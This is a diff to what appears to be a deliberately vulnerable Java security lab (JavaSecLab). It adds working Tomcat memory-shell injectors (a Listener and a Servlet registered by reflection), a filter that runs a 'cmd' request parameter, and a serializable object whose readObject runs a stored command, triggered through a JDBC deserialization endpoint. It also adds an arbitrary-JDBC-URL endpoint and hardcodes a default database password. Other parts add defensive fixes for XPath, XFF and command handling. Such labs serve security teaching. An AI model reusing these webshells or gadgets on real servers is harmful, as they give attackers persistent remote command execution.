+ ServletContextListener evilListener = new ServletContextListener() { + @Override + public void contextInitialized(ServletContextEvent sce) { + try { + String cmd = sce.getServletContext().getInitParameter(cmdParam); + if (cmd != null) { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + log.info(new String(b, 0, n)); + } + } + } catch (IOException e) { + log.error("命令执行失败", e); + } + } + + @Override + public void contextDestroyed(ServletContextEvent sce) { + // 在Web应用关闭时执行 + } + }; + + // 获取applicationLifecycleListeners + Field field = StandardContext.class.getDeclaredField("applicationLifecycleListeners"); + field.setAccessible(true); + Object[] listeners = (Object[]) field.get(context); + + // 创建新的监听器数组 + List newListeners = new ArrayList<>(); + if (listeners != null) { + for (Object listener : listeners) { + newListeners.add(listener); + } + } + newListeners.add(evilListener); + + // 更新监听器数组 + field.set(context, newListeners.toArray(new Object[0])); + + log.info("Listener型内存马注入成功,名称: {}, 命令参数: {}", + listenerName, cmdParam); + return R.ok("内存马注入成功").put("data", String.format( + "Listener名称: %s\n命令参数: %s", + listenerName, cmdParam)); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Listener型内存马") + @GetMapping("/detect") + @ResponseBody + public R detect() { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + StringBuilder result = new StringBuilder(); + result.append("已注入的监听器列表:\n"); + + // 获取applicationLifecycleListeners + Field field = StandardContext.class.getDeclaredField("applicationLifecycleListeners"); + field.setAccessible(true); + Object[] listeners = (Object[]) field.get(context); + + if (listeners != null) { + for (Object listener : listeners) { + result.append("- 监听器类型: ").append(listener.getClass().getName()) + .append("\n 实例: ").append(listener) + .append("\n"); + } + } else { + result.append("未找到任何监听器\n"); + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/controller/ServletMemShellController.java b/src/main/java/top/whgojp/modules/mshell/controller/ServletMemShellController.java new file mode 100644 index 0000000..622bbb2 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/controller/ServletMemShellController.java @@ -0,0 +1,133 @@ +package top.whgojp.modules.mshell.controller; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import io.swagger.annotations.ApiParam; +import lombok.extern.slf4j.Slf4j; +import org.apache.catalina.Container; +import org.apache.catalina.Context; +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.StandardContext; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import top.whgojp.common.utils.R; + +import javax.servlet.Servlet; +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * Servlet型内存马 + * 通过动态注册Servlet实现命令执行 + * + * @author whgojp + * @date 2024/03/20 + */ +@Slf4j +@Api(tags = "Servlet型内存马") +@Controller +@RequestMapping("/mshell/servlet") +public class ServletMemShellController extends BaseMemShellController { + + @RequestMapping("") + public String index() { + return "vul/mshell/servlet"; + } + + @ApiOperation("注入Servlet型内存马") + @PostMapping("/inject") + @ResponseBody + public R inject( + @ApiParam("Servlet名称") @RequestParam(defaultValue = "evilServlet") String servletName, + @ApiParam("URL Pattern") @RequestParam(defaultValue = "/evil") String urlPattern, + @ApiParam("命令参数名") @RequestParam(defaultValue = "cmd") String cmdParam) { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + // 创建恶意Servlet + Servlet evilServlet = new HttpServlet() { + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) + throws ServletException, IOException { + String cmd = req.getParameter(cmdParam); + if (cmd != null) { + try { + Process process = Runtime.getRuntime().exec(cmd); + InputStream in = process.getInputStream(); + byte[] b = new byte[1024]; + int n; + while ((n = in.read(b)) != -1) { + resp.getOutputStream().write(b, 0, n); + } + resp.getOutputStream().flush(); + return; + } catch (IOException e) { + log.error("命令执行失败", e); + resp.getWriter().println("Error: " + e.getMessage()); + return; + } + } + resp.getWriter().write("Evil Servlet"); + } + }; + + // 创建Wrapper并设置Servlet + Wrapper wrapper = ((StandardContext) context).createWrapper(); + wrapper.setName(servletName); + wrapper.setServlet(evilServlet); + wrapper.setServletClass(evilServlet.getClass().getName()); + + // 添加Wrapper到Context + context.addChild(wrapper); + context.addServletMappingDecoded(urlPattern, servletName); + + log.info("Servlet型内存马注入成功,名称: {}, URL Pattern: {}, 命令参数: {}", + servletName, urlPattern, cmdParam); + return R.ok("内存马注入成功").put("data", String.format( + "Servlet名称: %s\nURL Pattern: %s\n命令参数: %s", + servletName, urlPattern, cmdParam)); + } catch (Exception e) { + log.error("注入失败", e); + return R.error("注入失败:" + e.getMessage()); + } + } + + @ApiOperation("检测Servlet型内存马") + @GetMapping("/detect") + @ResponseBody + public R detect() { + try { + Context context = getContext(); + if (context == null) { + return R.error("获取Context失败"); + } + + StringBuilder result = new StringBuilder(); + result.append("已注入的Servlet列表:\n"); + + // 获取所有Wrapper + Container[] wrappers = ((StandardContext) context).findChildren(); + for (Container wrapper : wrappers) { + if (wrapper instanceof Wrapper) { + Wrapper w = (Wrapper) wrapper; + result.append("- Servlet名称: ").append(w.getName()) + .append("\n 类型: ").append(w.getServletClass()) + .append("\n URL Pattern: ").append(context.findServletMapping(w.getName())) + .append("\n"); + } + } + + return R.ok().put("data", result.toString()); + } catch (Exception e) { + log.error("检测失败", e); + return R.error("检测失败:" + e.getMessage()); + } + } +} diff --git a/src/main/java/top/whgojp/modules/mshell/entity/MaliciousFilter.java b/src/main/java/top/whgojp/modules/mshell/entity/MaliciousFilter.java new file mode 100644 index 0000000..538ae53 --- /dev/null +++ b/src/main/java/top/whgojp/modules/mshell/entity/MaliciousFilter.java @@ -0,0 +1,49 @@ +package top.whgojp.modules.mshell.entity; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +public class MaliciousFilter implements Filter { + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + // 初始化逻辑 + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException { + + HttpServletRequest httpRequest = (HttpServletRequest) request; + HttpServletResponse httpResponse = (HttpServletResponse) response; + + // 获取请求中的 cmd 参数 + String command = httpRequest.getParameter("cmd"); + if (command != null && !command.isEmpty()) { + try { + // 执行传入的命令 + executeCommand(command); + } catch (IOException e) { + e.printStackTrace(); + } + } + + // 继续处理请求 + chain.doFilter(request, response); + } + + @Override + public void destroy() { + // 销毁逻辑 + } + + // 执行任意命令 + private void executeCommand(String command) throws IOException { + // 执行用户传入的命令 + System.out.println("Executing command: " + command); + Runtime.getRuntime().exec(command); + } +} + diff --git a/src/main/java/top/whgojp/modules/other/controller/DosController.java b/src/main/java/top/whgojp/modules/other/controller/DosController.java index 6531933..7301322 100644 --- a/src/main/java/top/whgojp/modules/other/controller/DosController.java +++ b/src/main/java/top/whgojp/modules/other/controller/DosController.java @@ -33,6 +33,10 @@ @CrossOrigin(origins = "*") @RequestMapping("/other/dos") public class DosController { + private static final int MAX_IMAGE_WIDTH = 800; + private static final int MAX_IMAGE_HEIGHT = 300; + private static final int MAX_IMAGE_PIXELS = 240_000; + @RequestMapping("") public String dos() { return "vul/other/dos"; @@ -51,11 +55,33 @@ public void vul(@RequestParam Integer width, @RequestParam Integer height, HttpS throw new RuntimeException(e); } } + + @RequestMapping("/safe") + public void safe(@RequestParam Integer width, @RequestParam Integer height, HttpServletResponse response) throws IOException { + if (width == null || height == null || width <= 0 || height <= 0 + || width > MAX_IMAGE_WIDTH || height > MAX_IMAGE_HEIGHT + || (long) width * height > MAX_IMAGE_PIXELS) { + response.setStatus(HttpServletResponse.SC_BAD_REQUEST); + response.setContentType("text/plain;charset=UTF-8"); + response.getWriter().write("图片尺寸超出限制"); + return; + } + response.setContentType("image/jpeg"); + response.setHeader("Pragma", "no-cache"); + response.setHeader("Cache-Control", "no-cache"); + ShearCaptcha shearCaptcha = CaptchaUtil.createShearCaptcha(width, height,4,3); + shearCaptcha.write(response.getOutputStream()); + } + @RequestMapping("/vul2") @ResponseBody public R vul2(MultipartFile file) { + if (file == null || file.isEmpty()) { + return R.error("请先选择ZIP文件"); + } + File tempFile = null; try { - File tempFile = convertMultipartFileToFile(file); + tempFile = convertMultipartFileToFile(file); // 限制解压深度为 1,防止无限递归 int maxDepth = 1; unzip(tempFile, 0, maxDepth); @@ -63,6 +89,10 @@ public R vul2(MultipartFile file) { } catch (Exception e) { e.printStackTrace(); return R.error("文件解压失败: " + e.getMessage()); + } finally { + if (tempFile != null && tempFile.exists()) { + tempFile.delete(); + } } } @@ -123,4 +153,4 @@ private void unzip(File zipFile, int currentDepth, int maxDepth) throws IOExcept } -} \ No newline at end of file +} diff --git a/src/main/java/top/whgojp/modules/other/controller/XffForgeryController.java b/src/main/java/top/whgojp/modules/other/controller/XffForgeryController.java index 531e560..badf2a0 100644 --- a/src/main/java/top/whgojp/modules/other/controller/XffForgeryController.java +++ b/src/main/java/top/whgojp/modules/other/controller/XffForgeryController.java @@ -27,6 +27,8 @@ @CrossOrigin(origins = "*") @RequestMapping("/other/xff") public class XffForgeryController { + private static final List TRUSTED_PROXY_IPS = Arrays.asList("192.168.1.1", "10.0.0.1"); + @ApiOperation("") @RequestMapping("") public String XffForgery() { @@ -68,10 +70,10 @@ public String vul2(HttpServletRequest request, HttpServletResponse response, Mod // 前后端分离 模拟通过X-Forwarded-For头获取客户端IP String remoteHost = ""; - if (xff.equals("true")) { + if ("true".equals(xff)) { remoteHost = request.getHeader("X-Forwarded-For"); } - if (remoteHost.isEmpty()) { + if (remoteHost == null || remoteHost.isEmpty()) { remoteHost = request.getRemoteHost(); } boolean isClientIP8888 = "8.8.8.8".equals(remoteHost); @@ -86,16 +88,19 @@ public String vul2(HttpServletRequest request, HttpServletResponse response, Mod @RequestMapping("/safe") public String safe(HttpServletRequest request, HttpServletResponse response, Model model, String xff){ - String remoteHost = ""; - if (xff.equals("true")) { - remoteHost = request.getHeader("X-Forwarded-For"); + String proxyIp = request.getRemoteAddr(); + String remoteHost = proxyIp; + if ("true".equals(xff)) { + if (!isTrustedProxy(proxyIp)){ + model.addAttribute("clientIP", proxyIp); + model.addAttribute("sensitiveInfo", "非可信代理来源,忽略XFF头:" + proxyIp); + return "vul/other/onlyForGoogle"; + } + remoteHost = getFirstForwardedIp(request.getHeader("X-Forwarded-For")); } - if (remoteHost.isEmpty()) { - remoteHost = request.getRemoteHost(); - } - if (!isTrustedProxy(remoteHost)){ + if (remoteHost == null || remoteHost.isEmpty()) { model.addAttribute("clientIP", request.getRemoteAddr()); - model.addAttribute("sensitiveInfo", "源ip不在白名单范围内!"); + model.addAttribute("sensitiveInfo", "XFF头为空或格式异常!"); return "vul/other/onlyForGoogle"; } boolean isClientIP8888 = "8.8.8.8".equals(remoteHost); @@ -107,8 +112,14 @@ public String safe(HttpServletRequest request, HttpServletResponse response, Mod } // 判断是否来自可信代理 private boolean isTrustedProxy(String ip) { - return Arrays.asList("127.0.0.1", "192.168.1.1", "10.0.0.1").contains(ip); + return TRUSTED_PROXY_IPS.contains(ip); } + private String getFirstForwardedIp(String xForwardedFor) { + if (xForwardedFor == null || xForwardedFor.trim().isEmpty()) { + return ""; + } + return xForwardedFor.split(",")[0].trim(); + } } diff --git a/src/main/java/top/whgojp/modules/other/controller/XpathController.java b/src/main/java/top/whgojp/modules/other/controller/XpathController.java index c42711f..5dc3b04 100644 --- a/src/main/java/top/whgojp/modules/other/controller/XpathController.java +++ b/src/main/java/top/whgojp/modules/other/controller/XpathController.java @@ -2,7 +2,6 @@ import io.swagger.annotations.Api; import lombok.extern.slf4j.Slf4j; -import org.apache.commons.text.StringEscapeUtils; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; import org.w3c.dom.Document; @@ -12,6 +11,7 @@ import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.namespace.QName; import javax.xml.xpath.XPath; import javax.xml.xpath.XPathConstants; import javax.xml.xpath.XPathFactory; @@ -72,15 +72,13 @@ public R safe(@RequestParam("username") String username, @RequestParam("password String xml = "adminpassword"; Document doc = builder.parse(new InputSource(new StringReader(xml))); - String escapedUsername = StringEscapeUtils.escapeXml10(username); - String escapedPassword = StringEscapeUtils.escapeXml10(password); - XPath xpath = XPathFactory.newInstance().newXPath(); - String expression = "/users/user[username='" + escapedUsername + "' and password='" + escapedPassword + "']"; + xpath.setXPathVariableResolver(variableName -> resolveXPathVariable(variableName, username, password)); + String expression = "/users/user[username=$username and password=$password]"; NodeList nodes = (NodeList) xpath.evaluate(expression, doc, XPathConstants.NODESET); if (nodes.getLength() > 0) { - return R.ok("用户名和密码验证通过!欢迎:" + escapedUsername); + return R.ok("用户名和密码验证通过!欢迎:" + username); } else { return R.error("认证失败:用户名或密码错误"); } @@ -90,4 +88,14 @@ public R safe(@RequestParam("username") String username, @RequestParam("password } } + private Object resolveXPathVariable(QName variableName, String username, String password) { + if ("username".equals(variableName.getLocalPart())) { + return username; + } + if ("password".equals(variableName.getLocalPart())) { + return password; + } + return ""; + } + } diff --git a/src/main/java/top/whgojp/modules/rce/code/CodeController.java b/src/main/java/top/whgojp/modules/rce/code/CodeController.java index 6a94068..790fdfd 100644 --- a/src/main/java/top/whgojp/modules/rce/code/CodeController.java +++ b/src/main/java/top/whgojp/modules/rce/code/CodeController.java @@ -10,9 +10,8 @@ import top.whgojp.common.utils.R; import java.io.BufferedReader; import java.io.InputStreamReader; - -import java.util.Arrays; -import java.util.List; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; /** * @description RCE - 代码注入 @@ -53,31 +52,18 @@ public R vulGroovy(String payload) { @GetMapping("/safeGroovy") @ResponseBody public R safeGroovy(String payload) { - List trustedScripts = Arrays.asList( - "\"id\".execute()", - "\"ls\".execute()", - "\"whoami\".execute()" - ); - if (!isTrustedScript(payload, trustedScripts)) { - return R.error("非法的脚本输入!"); + if ("hello".equals(payload)) { + return R.ok("[+] 受控动作执行结果:Hello JavaSecLab"); } - try { - GroovyShell shell = new GroovyShell(); - Object result = shell.evaluate(payload); - if (result instanceof Process) { - Process process = (Process) result; - String output = getProcessOutput(process); - return R.ok("[+] 执行受信任的脚本,结果:" + output); - } else { - return R.ok("[+] 执行受信任的脚本,结果:" + result.toString()); - } - } catch (Exception e) { - return R.error(e.getMessage()); + if ("time".equals(payload)) { + return R.ok("[+] 受控动作执行结果:" + LocalDateTime.now().format(DateTimeFormatter.ISO_LOCAL_DATE_TIME)); } + if ("sum".equals(payload)) { + return R.ok("[+] 受控动作执行结果:" + (1 + 2 + 3)); + } + return R.error("非法的动作输入!"); } - private boolean isTrustedScript(String script, List trustedScripts) { - return trustedScripts.contains(script); - } + private String getProcessOutput(Process process) { StringBuilder output = new StringBuilder(); try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) { diff --git a/src/main/java/top/whgojp/modules/rce/command/CommandController.java b/src/main/java/top/whgojp/modules/rce/command/CommandController.java index daa2660..2d58cc7 100644 --- a/src/main/java/top/whgojp/modules/rce/command/CommandController.java +++ b/src/main/java/top/whgojp/modules/rce/command/CommandController.java @@ -15,9 +15,12 @@ import java.io.InputStream; import java.io.InputStreamReader; import java.lang.reflect.Method; +import java.nio.charset.StandardCharsets; import java.util.Arrays; +import java.util.HashMap; import java.util.List; import java.util.Map; +import java.util.concurrent.TimeUnit; /** * @description RCE - 命令注入 @@ -31,6 +34,14 @@ @CrossOrigin(origins = "*") @RequestMapping("/command") public class CommandController { + // 业务动作到固定命令参数的映射。用户只能选择动作,不能直接控制命令字符串。 + private static final Map> ALLOWED_COMMANDS = new HashMap<>(); + + static { + ALLOWED_COMMANDS.put("list", Arrays.asList("ls")); + ALLOWED_COMMANDS.put("date", Arrays.asList("date")); + } + @RequestMapping("") public String spel() { return "vul/rce/command"; @@ -73,47 +84,62 @@ public R vul2(String payload) throws IOException { @RequestMapping("/vul3") @ResponseBody public R vul3(String payload) throws Exception { - // 获取 ProcessImpl 类对象 - Class clazz = Class.forName("java.lang.ProcessImpl"); + try { + // 获取 ProcessImpl 类对象 + Class clazz = Class.forName("java.lang.ProcessImpl"); - // 获取 start 方法 - Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); - method.setAccessible(true); + // 获取 start 方法 + Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); + method.setAccessible(true); - Process process = (Process) method.invoke(null, new String[]{payload}, null, null, null, false); - try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) { - StringBuilder output = new StringBuilder(); - String line; - while ((line = reader.readLine()) != null) { - output.append(line).append("\n"); + Process process = (Process) method.invoke(null, new String[]{payload}, null, null, null, false); + try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) { + StringBuilder output = new StringBuilder(); + String line; + while ((line = reader.readLine()) != null) { + output.append(line).append("\n"); + } + return R.ok(output.toString()); } - return R.ok(output.toString()); + } catch (ReflectiveOperationException | RuntimeException e) { + return R.error("当前JDK限制反射调用ProcessImpl.start:" + e.getMessage()); } } - - // 可执行命令白名单 - private static final List ALLOWED_COMMANDS = Arrays.asList("ls", "date"); - @RequestMapping("/safe") @ResponseBody public R safe(@RequestParam("payload") String payload) throws IOException { - // 验证命令是否在允许的列表中 - if (!ALLOWED_COMMANDS.contains(payload)) { - return R.error("不允许执行该命令!"); + List command = ALLOWED_COMMANDS.get(payload); + if (command == null) { + return R.error("不允许执行该动作!"); } - String[] cmdArray = { "sh", "-c", payload }; - ProcessBuilder pb = new ProcessBuilder(cmdArray); + + ProcessBuilder pb = new ProcessBuilder(command); pb.redirectErrorStream(true); Process process = pb.start(); - InputStream inputStream = process.getInputStream(); - BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); - String line; - StringBuilder output = new StringBuilder(); - while ((line = reader.readLine()) != null) { - output.append(line).append("\n"); + try { + if (!process.waitFor(3, TimeUnit.SECONDS)) { + process.destroyForcibly(); + return R.error("命令执行超时!"); + } + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return R.error("命令执行被中断!"); + } + String output = readProcessOutput(process); + return R.ok(output); + } + + private String readProcessOutput(Process process) throws IOException { + try (InputStream inputStream = process.getInputStream(); + BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8))) { + String line; + StringBuilder output = new StringBuilder(); + while ((line = reader.readLine()) != null) { + output.append(line).append("\n"); + } + return output.toString(); } - return R.ok(output.toString()); } diff --git a/src/main/java/top/whgojp/modules/spel/controller/SPELController.java b/src/main/java/top/whgojp/modules/spel/controller/SPELController.java index 172c6b7..da0e8f0 100644 --- a/src/main/java/top/whgojp/modules/spel/controller/SPELController.java +++ b/src/main/java/top/whgojp/modules/spel/controller/SPELController.java @@ -37,31 +37,39 @@ public String spel() { @ApiImplicitParam(name = "ex", value = "表达式", dataType = "String", paramType = "query", dataTypeClass = String.class) @GetMapping("/vul") public R vul(@ApiParam(name = "ex", value = "表达式", required = true) @RequestParam String ex) { - // 创建SpEL解析器,ExpressionParser接口用于表示解析器,SpelExpressionParser为默认实现 - ExpressionParser parser = new SpelExpressionParser(); -// Expression expression = parser.parseExpression(ex); -// String result = expression.getValue().toString(); - // 构造上下文 上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值 在不配置的情况下具有默认类型的上下文 - EvaluationContext evaluationContext = new StandardEvaluationContext(); - // 解析表达式,将用户输入的字符串解析为Expression对象 - Expression exp = parser.parseExpression(ex); - // 通过上下文计算表达式的值,并将结果转换为字符串 - String result = exp.getValue(evaluationContext).toString(); - log.info("[+]SPEL表达式注入:"+ex); - return R.ok(result); + try { + // 创建SpEL解析器,ExpressionParser接口用于表示解析器,SpelExpressionParser为默认实现 + ExpressionParser parser = new SpelExpressionParser(); + // 构造上下文 上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值 在不配置的情况下具有默认类型的上下文 + EvaluationContext evaluationContext = new StandardEvaluationContext(); + // 解析表达式,将用户输入的字符串解析为Expression对象 + Expression exp = parser.parseExpression(ex); + // 通过上下文计算表达式的值,并将结果转换为字符串 + Object result = exp.getValue(evaluationContext); + log.info("[+]SPEL表达式注入:" + ex); + return R.ok(String.valueOf(result)); + } catch (Exception e) { + log.error("[+]SPEL表达式执行失败:" + ex, e); + return R.error("SPEL表达式执行失败:" + e.getMessage()); + } } @ResponseBody @ApiImplicitParam(name = "ex", value = "表达式", dataType = "String", paramType = "query", dataTypeClass = String.class) @GetMapping("/safe") public R safe(@ApiParam(name = "ex", value = "表达式", required = true) @RequestParam String ex) { - // 使用 SimpleEvaluationContext 限制表达式功能(Java类型引用、构造函数调用、Bean引用),防止危险的操作 - ExpressionParser parser = new SpelExpressionParser(); - EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build(); - Expression exp = parser.parseExpression(ex); - String result = exp.getValue(simpleContext).toString(); - log.info("[-]SPEL表达式注入:"+ex); - return R.ok(result); + try { + // 使用 SimpleEvaluationContext 限制表达式功能(Java类型引用、构造函数调用、Bean引用),防止危险的操作 + ExpressionParser parser = new SpelExpressionParser(); + EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build(); + Expression exp = parser.parseExpression(ex); + Object result = exp.getValue(simpleContext); + log.info("[-]SPEL表达式注入:" + ex); + return R.ok(String.valueOf(result)); + } catch (Exception e) { + log.warn("[-]SPEL安全场景拦截表达式:" + ex, e); + return R.error("表达式被安全上下文限制:" + e.getMessage()); + } } diff --git a/src/main/java/top/whgojp/modules/springboot/config/DruidMonitorConfig.java b/src/main/java/top/whgojp/modules/springboot/config/DruidMonitorConfig.java new file mode 100644 index 0000000..2d45fc0 --- /dev/null +++ b/src/main/java/top/whgojp/modules/springboot/config/DruidMonitorConfig.java @@ -0,0 +1,32 @@ +package top.whgojp.modules.springboot.config; + +import com.alibaba.druid.support.http.StatViewServlet; +import com.alibaba.druid.support.http.WebStatFilter; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.boot.web.servlet.ServletRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +/** + * Demonstrates an exposed Druid monitor console for the Spring Boot scenario. + */ +@Configuration +public class DruidMonitorConfig { + + @Bean + public ServletRegistrationBean druidStatViewServlet() { + ServletRegistrationBean registrationBean = + new ServletRegistrationBean<>(new StatViewServlet(), "/druid/*"); + registrationBean.addInitParameter("resetEnable", "false"); + return registrationBean; + } + + @Bean + public FilterRegistrationBean druidWebStatFilter() { + FilterRegistrationBean registrationBean = new FilterRegistrationBean<>(); + registrationBean.setFilter(new WebStatFilter()); + registrationBean.addUrlPatterns("/*"); + registrationBean.addInitParameter("exclusions", "*.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*"); + return registrationBean; + } +} diff --git a/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java b/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java index 20ffe20..93c48c3 100644 --- a/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java +++ b/src/main/java/top/whgojp/modules/springboot/controller/SpringBootController.java @@ -2,9 +2,20 @@ import io.swagger.annotations.Api; import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import top.whgojp.common.utils.R; +import top.whgojp.modules.springboot.entity.MaliciousObject; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.sql.*; /** * @description java专题-SpringBoot相关漏洞 @@ -23,4 +34,108 @@ public String springboot() { return "vul/springboot/springboot"; } + @Value("${spring.datasource.url:jdbc:mysql://localhost:13306/JavaSecLab}") + String legacyUrl = ""; + @Value("${spring.datasource.username:root}") + String legacyUsername = ""; + @Value("${spring.datasource.password:QWE123qwe}") + String legacyPassword = ""; + @Value("${spring.datasource.primary.url:}") + String url = ""; + @Value("${spring.datasource.primary.username:}") + String username = ""; + @Value("${spring.datasource.primary.password:}") + String password = ""; + + @RequestMapping("/jdbc") + @ResponseBody + public R jdbc() { + try (Connection conn = DriverManager.getConnection(resolveUrl(), resolveUsername(), resolvePassword()); + Statement stmt = conn.createStatement()) { + String selectQuery = "SELECT malicious_object FROM objects WHERE id = 1"; + + try (ResultSet rs = stmt.executeQuery(selectQuery)) { + if (!rs.next()) { + return R.error("未找到恶意对象,请先点击“反序列化命令”插入测试数据"); + } + byte[] maliciousObjectBytes = rs.getBytes("malicious_object"); + if (maliciousObjectBytes == null || maliciousObjectBytes.length == 0) { + return R.error("恶意对象内容为空"); + } + try (ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(maliciousObjectBytes))) { + objectInputStream.readObject(); + } + } + + log.info("触发MYSQL-JDBC反序列化漏洞!"); + return R.ok("触发MYSQL-JDBC反序列化漏洞!"); + } catch (Exception e) { + log.error("触发MYSQL-JDBC反序列化漏洞失败", e); + return R.error("触发MYSQL-JDBC反序列化漏洞失败:" + e.getMessage()); + } + } + + @RequestMapping("/insert") + @ResponseBody + public R insertMaliciousObject(@RequestParam String command) { + if (command == null || command.trim().isEmpty()) { + return R.error("命令不能为空"); + } + try (ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos)) { + MaliciousObject maliciousObject = new MaliciousObject(command); + + oos.writeObject(maliciousObject); + byte[] objectBytes = baos.toByteArray(); + + try (Connection conn = DriverManager.getConnection(resolveUrl(), resolveUsername(), resolvePassword()); + PreparedStatement stmt = conn.prepareStatement("REPLACE INTO objects (id, malicious_object) VALUES (?, ?)")) { + stmt.setInt(1, 1); + stmt.setBytes(2, objectBytes); + stmt.executeUpdate(); + } + + return R.ok("恶意对象插入成功!"); + } catch (Exception e) { + log.error("恶意对象插入失败", e); + return R.error("恶意对象插入失败:" + e.getMessage()); + } + } + + @RequestMapping("/vul") + @ResponseBody + public R vul(String url, String username, String password) { + if (url == null || url.trim().isEmpty()) { + return R.error("JDBC URL不能为空"); + } + + try { +// Class.forName("com.mysql.jdbc.Driver"); + Class.forName("com.mysql.cj.jdbc.Driver"); + DriverManager.setLoginTimeout(5); + try (Connection ignored = DriverManager.getConnection(url, username, password)) { + return R.ok("JDBC连接请求已发送"); + } + } catch (Exception e) { + log.error("JDBC连接失败", e); + return R.error("JDBC连接失败:" + e.getMessage()); + } + } + + private String resolveUrl() { + return isBlank(url) ? legacyUrl : url; + } + + private String resolveUsername() { + return isBlank(username) ? legacyUsername : username; + } + + private String resolvePassword() { + return isBlank(password) ? legacyPassword : password; + } + + private boolean isBlank(String value) { + return value == null || value.trim().isEmpty(); + } + } diff --git a/src/main/java/top/whgojp/modules/springboot/entity/MaliciousObject.java b/src/main/java/top/whgojp/modules/springboot/entity/MaliciousObject.java new file mode 100644 index 0000000..36074e9 --- /dev/null +++ b/src/main/java/top/whgojp/modules/springboot/entity/MaliciousObject.java @@ -0,0 +1,23 @@ +package top.whgojp.modules.springboot.entity; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.Serializable; + +public class MaliciousObject implements Serializable { + private static final long serialVersionUID = -4609530693199052538L; + + private String command; + + public MaliciousObject(String command) { + this.command = command; + } + + private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { + in.defaultReadObject(); + if (command != null) { + Runtime.getRuntime().exec(command); + } + } + +} diff --git a/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceConfig.java b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceConfig.java new file mode 100644 index 0000000..878f1e3 --- /dev/null +++ b/src/main/java/top/whgojp/modules/sqli/config/DynamicDataSourceConfig.java @@ -0,0 +1,112 @@ +package top.whgojp.modules.sqli.config; + +import com.alibaba.druid.pool.DruidDataSource; +import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import org.springframework.jdbc.datasource.lookup.AbstractRoutingDataSource; +import org.springframework.orm.jpa.JpaTransactionManager; +import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean; +import org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter; + +import javax.persistence.EntityManagerFactory; +import javax.sql.DataSource; +import java.util.HashMap; +import java.util.Map; + +@Configuration +public class DynamicDataSourceConfig { + + @Bean + @Primary + @ConfigurationProperties("spring.datasource.primary") + public DataSourceProperties dataSourceProperties() { + return new DataSourceProperties(); + } + + @Bean + @Primary + public DataSource dataSource(DataSourceProperties dataSourceProperties) { + AbstractRoutingDataSource dataSource = new AbstractRoutingDataSource() { + @Override + protected Object determineCurrentLookupKey() { + return DynamicDataSourceContextHolder.getDataSourceType(); + } + }; + + DruidDataSource primaryDataSource = new DruidDataSource(); + primaryDataSource.setUrl(dataSourceProperties.getUrl()); + primaryDataSource.setUsername(dataSourceProperties.getUsername()); + primaryDataSource.setPassword(dataSourceProperties.getPassword()); + primaryDataSource.setDriverClassName(dataSourceProperties.getDriverClassName()); + primaryDataSource.setInitialSize(5); + primaryDataSource.setMinIdle(5); + 